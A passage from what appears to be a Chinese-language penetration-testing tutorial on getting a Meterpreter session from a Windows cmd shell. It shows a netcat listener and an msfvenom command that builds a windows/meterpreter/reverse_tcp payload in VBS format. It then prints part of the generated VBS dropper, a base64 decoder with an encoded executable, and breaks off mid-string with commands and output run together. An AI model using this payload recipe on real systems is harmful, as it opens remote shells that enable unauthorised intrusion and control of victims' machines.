在 cmd shell 中执行 metasploit vbs payload

在 cmd shell 中执行 metasploit vbs payload

如果你是一个渗透测试者/研究人员，你可能希望有时从 cmd shell 获得一个 meterpreter 会话，例如：（sqlmap --os-shell 或其他工具）。前任：

$ ncat -l -p 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.  C:\Documents and Settings\test\Desktop>ver
ver  Microsoft Windows XP [Version 5.1.2600]
C:\Documents and Settings\test\Desktop>

在前面，您需要尝试以下方法：

• A. 将 exe 转换为批处理脚本。
• b. 从远程服务器下载负载文件（FTP、TFTP、HTTP 等）。
• c. …

现在，我将向你展示如何在 cmd.exe中运行 metasploit payload。请尝试思考以下问题：

1. 如何使用 msfvenom 生成有效负载？
2. 如何以简单/兼容的方式运行 payload ？

如何使用 msfvenom 生成有效负载？

为了在 Windows XP/2003 上测试有效负载，我们选择 vbs 格式 .如果您需要帮助，请尝试 [msfvenom -h]

$ msfvenom -p windows/meterpreter/reverse_tcpLHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform winNo encoder or badchars specified, outputting raw payloadPayload size: 333 bytesFinal size of vbs file: 7370 bytesFunction oSpLpsWeU(XwXDDtdR)urGQiYVn = "" & _           XwXDDtdR & ""      Set gFMdOBBiLZ = CreateObject("MSXML2.DOMDocument.3.0")gFMdOBBiLZ.LoadXML(urGQiYVn)oSpLpsWeU = gFMdOBBiLZ.selectsinglenode("B64DECODE").nodeTypedValueset gFMdOBBiLZ = nothingEnd FunctionFunction skbfzWOqR()cTENSbYbnWY = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAMC7z0MAAAAAAAAAAOAADwMLAQI4AAIAAAAOAAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABAAAAAAgAARjoAAAIAAAAAACAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAwAABkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAKAAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAMGAuZGF0YQAAAJAKAAAAIAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAgADDgLmlkYXRhAABkAAAAADAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAwwAAAAAAAAAAAAAAAAAAAAAC4ACBAAP/gkP8lODBAAJCQAAAAAAAAAAD/AAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA